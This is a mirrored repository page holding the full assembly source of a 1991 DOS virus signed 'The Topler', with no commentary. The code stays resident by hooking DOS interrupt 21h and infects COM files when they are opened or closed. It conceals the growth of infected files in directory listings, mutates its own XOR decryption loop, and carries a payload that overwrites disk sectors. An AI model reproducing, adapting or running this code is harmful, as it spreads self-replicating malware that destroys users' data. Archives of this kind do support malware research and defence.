mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-25 16:38:38 +00:00
498 lines
14 KiB
NASM
498 lines
14 KiB
NASM
code segment
|
||
assume cs:code
|
||
org 100h
|
||
|
||
start:
|
||
jmp begin
|
||
|
||
org 200h
|
||
begin:
|
||
jmp short beg
|
||
|
||
FileSize dw 0E00h; 02h
|
||
int21vec dd 0 ; 04h
|
||
oldint13 dd 0 ; 08h
|
||
oldint24 dd 0 ; 0Ch
|
||
Date dw 0 ; 10h
|
||
Time dw 0 ; 12h
|
||
db 1 ; 14h
|
||
version dw 0 ; 15h - mutation status
|
||
|
||
beg:
|
||
call codenext
|
||
codenext:
|
||
pop si
|
||
mutation1:
|
||
cli
|
||
push ds
|
||
pop es
|
||
mov bp,sp
|
||
mov sp,si
|
||
add sp,3FEh-(offset codenext-offset begin)
|
||
mutation2:
|
||
mov cx,ss
|
||
mov ax,cs
|
||
mov ss,ax
|
||
pop bx
|
||
dec sp
|
||
dec sp
|
||
add si,offset mybeg-offset codenext
|
||
codeloop:
|
||
pop ax
|
||
xor al,bh
|
||
push ax
|
||
dec sp
|
||
cmp sp,si
|
||
jnc codeloop
|
||
mybeg:
|
||
mov ax,es
|
||
dec ax
|
||
mov ds,ax
|
||
add word ptr ds:[3],-082h
|
||
mov bx,ds:[3]
|
||
mov byte ptr ds:[0],5ah
|
||
inc ax
|
||
inc bx
|
||
add bx,ax
|
||
mov es,bx
|
||
mov ss,cx
|
||
add si,offset begin-offset mybeg
|
||
mov bx,ds
|
||
mov ds,ax
|
||
mov sp,bp
|
||
push si
|
||
xor di,di
|
||
mov cx,400h
|
||
cld
|
||
rep movsb
|
||
pop si
|
||
push bx
|
||
mov bx,offset inblock-offset begin
|
||
push es
|
||
push bx
|
||
retf
|
||
inblock:
|
||
mov es,ax
|
||
mov ax,cs:[2] ; File Size
|
||
add ax,100h
|
||
mov di,si
|
||
mov si,ax
|
||
mov cx,400h
|
||
rep movsb
|
||
pop es
|
||
xor ax,ax
|
||
mov ds,ax
|
||
sti
|
||
cmp word ptr ds:[21h*4],offset int21-offset begin
|
||
jne count
|
||
sub word ptr es:[3],-082h
|
||
test byte ptr ds:[46ch],11100111b
|
||
jnz efect1
|
||
push cs
|
||
pop ds
|
||
mov si,offset msg-offset begin
|
||
efect2:
|
||
lodsb
|
||
or al,0
|
||
jz efect3
|
||
mov ah,0eh
|
||
int 10h
|
||
jmp short efect2
|
||
efect3:
|
||
mov ah,32h
|
||
xor dl,dl
|
||
int 21h
|
||
jc efect1
|
||
call setaddr
|
||
call setint
|
||
mov dx,ds:[bx+10h]
|
||
mov ah,19h
|
||
int 21h
|
||
mov cx,2
|
||
int 26h
|
||
pop bx
|
||
call setint
|
||
efect1:
|
||
jmp quit
|
||
count:
|
||
add word ptr es:[12h],-082h
|
||
mov bx,ds:[46ch]
|
||
push ds
|
||
push cs
|
||
pop ds
|
||
push cs
|
||
pop es
|
||
mov byte ptr ds:[14h],1
|
||
and bh,80h
|
||
mov ds:[4ffh],bh
|
||
test bl,00000001b
|
||
jnz mut1
|
||
mov si,offset mutation1-offset begin
|
||
add si,ds:[15h]
|
||
lodsb
|
||
xchg al,ds:[si]
|
||
mov ds:[si-1],al
|
||
mut1:
|
||
test bl,00000010b
|
||
jnz mut2
|
||
mov si,offset mutation2-offset begin
|
||
add si,ds:[15h]
|
||
lodsw
|
||
xchg ax,ds:[si]
|
||
mov ds:[si-2],ax
|
||
mut2:
|
||
test bl,00000100b
|
||
jnz mut3
|
||
mov si,offset codeloop-offset begin
|
||
mov al,2
|
||
xor byte ptr ds:[si],al
|
||
xor byte ptr ds:[si+2],al
|
||
xor byte ptr ds:[si+3],al
|
||
mut3:
|
||
test bl,00001000b
|
||
jnz mut4
|
||
mov si,offset codenext-offset begin
|
||
mov di,400h
|
||
mov cx,offset codeloop-offset codenext-2
|
||
push si
|
||
push di
|
||
lodsb
|
||
cmp al,5eh
|
||
je jmp1
|
||
inc si
|
||
jmp1:
|
||
push cx
|
||
rep movsb
|
||
pop cx
|
||
pop si
|
||
pop di
|
||
cmp al,5eh
|
||
je jmp2
|
||
mov al,5Eh
|
||
stosb
|
||
rep movsb
|
||
mov al,90h
|
||
stosb
|
||
xor ax,ax
|
||
jmp short jmp3
|
||
jmp2:
|
||
mov ax,0C68Fh
|
||
stosw
|
||
rep movsb
|
||
mov ax,1
|
||
jmp3:
|
||
mov cs:[15h],ax
|
||
mut4:
|
||
mov ah,30h
|
||
int 21h
|
||
cmp ax,1e03h
|
||
jne nodos33
|
||
mov ah,34h
|
||
int 21h
|
||
mov bx,1460h
|
||
jmp short dos33
|
||
nodos33:
|
||
mov ax,3521h
|
||
int 21h
|
||
dos33:
|
||
mov ds:[4],bx
|
||
mov ds:[6],es
|
||
mov si,21h*4
|
||
pop ds
|
||
push si
|
||
push cs
|
||
pop es
|
||
mov di,offset intend-offset begin+1
|
||
movsw
|
||
movsw
|
||
pop di
|
||
push ds
|
||
pop es
|
||
mov ax,offset int21-offset begin
|
||
stosw
|
||
mov ax,cs
|
||
stosw
|
||
mov di,offset mybeg-offset begin
|
||
mov al,cs:[3ffh]
|
||
coderloop:
|
||
xor cs:[di],al
|
||
inc di
|
||
cmp di,offset coderloop-offset begin
|
||
jc coderloop
|
||
quit:
|
||
mov ah,62h
|
||
int 21h
|
||
push bx
|
||
mov ds,bx
|
||
mov es,bx
|
||
mov ax,100h
|
||
push ax
|
||
retf
|
||
;------------------------------------------------------------------------------
|
||
infect:
|
||
push si
|
||
push ds
|
||
push es
|
||
push di
|
||
cld
|
||
push cs
|
||
pop ds
|
||
xor dx,dx
|
||
call movefp
|
||
mov dx,400h
|
||
mov ah,3fh
|
||
mov cx,3
|
||
call Dos
|
||
jc infect4
|
||
xor di,di
|
||
mov ax,word ptr ds:[400h]
|
||
mov cx,ds:[0]
|
||
cmp cx,ax
|
||
je infect8
|
||
cmp al,0EBH ; near jmp
|
||
jne infect1
|
||
mov al,ah
|
||
xor ah,ah
|
||
add ax,2
|
||
mov di,ax
|
||
infect1:
|
||
cmp al,0E9h ; far jmp
|
||
jne infect2
|
||
mov ax,ds:[401h]
|
||
add ax,3
|
||
mov di,ax
|
||
xor ax,ax
|
||
infect2:
|
||
cmp ax,'MZ'
|
||
je infect4
|
||
cmp ax,'ZM'
|
||
jne infect3
|
||
infect4:
|
||
stc
|
||
infect8:
|
||
jmp infectquit
|
||
infect3:
|
||
mov dx,di
|
||
push cx
|
||
call movefp
|
||
mov dx,400h
|
||
mov ah,3fh
|
||
mov cx,dx
|
||
call Dos
|
||
pop cx
|
||
jc infect4
|
||
cmp ds:[400h],cx
|
||
je infect8
|
||
mov ax,di
|
||
sub ah,-4
|
||
cmp ax,ds:[2]
|
||
jnc infect4
|
||
mov dx,ds:[2]
|
||
call movefp
|
||
mov dx,400h
|
||
mov cx,dx
|
||
mov ah,40h
|
||
call Dos
|
||
infect6:
|
||
jc infectquit
|
||
mov dx,di
|
||
call movefp
|
||
push cs
|
||
pop es
|
||
mov di,400h
|
||
push di
|
||
push di
|
||
xor si,si
|
||
mov cx,di
|
||
rep movsb
|
||
mov si,400h+offset coderloop-offset begin
|
||
mov al,ds:[7ffh]
|
||
infect5:
|
||
xor ds:[si],al
|
||
inc si
|
||
cmp si,07ffh
|
||
jc infect5
|
||
pop cx
|
||
pop dx
|
||
mov ah,40h
|
||
call Dos
|
||
infectquit:
|
||
pop di
|
||
pop es
|
||
pop ds
|
||
pop si
|
||
ret
|
||
int21:
|
||
cmp ax,4b00h
|
||
je exec
|
||
cmp ah,3eh
|
||
je close
|
||
cmp ah,11h
|
||
je dir
|
||
cmp ah,12h
|
||
je dir
|
||
intend:
|
||
db 0eah,0,0,0,0
|
||
|
||
dir:
|
||
push si
|
||
mov si,offset intend-offset begin+1
|
||
pushf
|
||
call dword ptr cs:[si]
|
||
pop si
|
||
push ax
|
||
push bx
|
||
push es
|
||
mov ah,2fh
|
||
call dos
|
||
cmp byte ptr es:[bx],0ffh
|
||
jne dir2
|
||
add bx,7
|
||
dir2:
|
||
mov ax,es:[bx+17h]
|
||
and ax,1fh
|
||
cmp ax,1eh
|
||
jne dir1
|
||
mov ax,es:[bx+1dh]
|
||
cmp ax,0801h
|
||
jc dir1
|
||
sub ax,400h
|
||
mov es:[bx+1dh],ax
|
||
dir1:
|
||
pop es
|
||
pop bx
|
||
pop ax
|
||
iret
|
||
int24:
|
||
mov al,3
|
||
iret
|
||
Dos:
|
||
pushf
|
||
call dword ptr cs:[4]
|
||
ret
|
||
moveFP:
|
||
xor cx,cx
|
||
mov ax,4200h
|
||
call Dos
|
||
ret
|
||
exec:
|
||
push ax
|
||
push bx
|
||
mov byte ptr cs:[14h],0
|
||
mov ax,3d00h
|
||
call dos
|
||
mov bx,ax
|
||
mov ah,3eh
|
||
int 21h
|
||
pop bx
|
||
pop ax
|
||
intendjmp:
|
||
jmp short intend
|
||
close:
|
||
or byte ptr cs:[14h],0
|
||
jnz intendjmp
|
||
push cx
|
||
push dx
|
||
push di
|
||
push es
|
||
push ax
|
||
push bx
|
||
call setaddr
|
||
call setint
|
||
mov ax,1220h
|
||
int 2fh
|
||
jc closequit
|
||
mov ax,1216h
|
||
mov bl,es:[di]
|
||
xor bh,bh
|
||
int 2fh
|
||
mov ax,es:[di+11h]
|
||
mov cs:[2],ax
|
||
mov ax,es:[di+0dh]
|
||
and al,0f8h
|
||
mov cs:[12h],ax
|
||
mov ax,es:[di+0fh]
|
||
mov cs:[10h],ax
|
||
cmp word ptr es:[di+29h],'MO'
|
||
jne closequit
|
||
cmp byte ptr es:[di+28h],'C'
|
||
jne closequit
|
||
cmp cs:[2],0FA00h
|
||
jnc closequit
|
||
mov al,20h
|
||
xchg al,es:[di+4]
|
||
mov ah,2
|
||
xchg es:[di+2],ah
|
||
pop bx
|
||
push bx
|
||
push ax
|
||
call infect
|
||
pop ax
|
||
mov es:[di+4],al
|
||
mov es:[di+2],ah
|
||
mov cx,cs:[12h]
|
||
jc close1
|
||
or cl,1fh
|
||
and cl,0feh
|
||
close1:
|
||
mov dx,cs:[10h]
|
||
mov ax,5701h
|
||
call Dos
|
||
closequit:
|
||
pop bx
|
||
pop ax
|
||
pop es
|
||
pop di
|
||
pop dx
|
||
pop cx
|
||
call dos
|
||
call setint
|
||
retf 02
|
||
setaddr:
|
||
mov ah,13h
|
||
int 2fh
|
||
mov cs:[8d],bx
|
||
mov cs:[10d],es
|
||
int 2fh
|
||
mov cs:[12d],offset int24-offset begin
|
||
mov cs:[14d],cs
|
||
ret
|
||
setint:
|
||
push ax
|
||
push si
|
||
push ds
|
||
pushf
|
||
cli
|
||
cld
|
||
xor ax,ax
|
||
mov ds,ax
|
||
mov si,13h*4
|
||
lodsw
|
||
xchg ax,cs:[8]
|
||
mov ds:[si-2],ax
|
||
lodsw
|
||
xchg ax,cs:[10d]
|
||
mov ds:[si-2],ax
|
||
mov si,24h*4
|
||
lodsw
|
||
xchg ax,cs:[12d]
|
||
mov ds:[si-2],ax
|
||
lodsw
|
||
xchg ax,cs:[14d]
|
||
mov ds:[si-2],ax
|
||
popf
|
||
pop ds
|
||
pop si
|
||
pop ax
|
||
ret
|
||
msg:
|
||
db 'The leech live ...',0
|
||
db 'April 1991 The Topler.',0
|
||
|
||
org 0F00h
|
||
|
||
int 20h
|
||
|
||
code ends
|
||
end start
|
||
|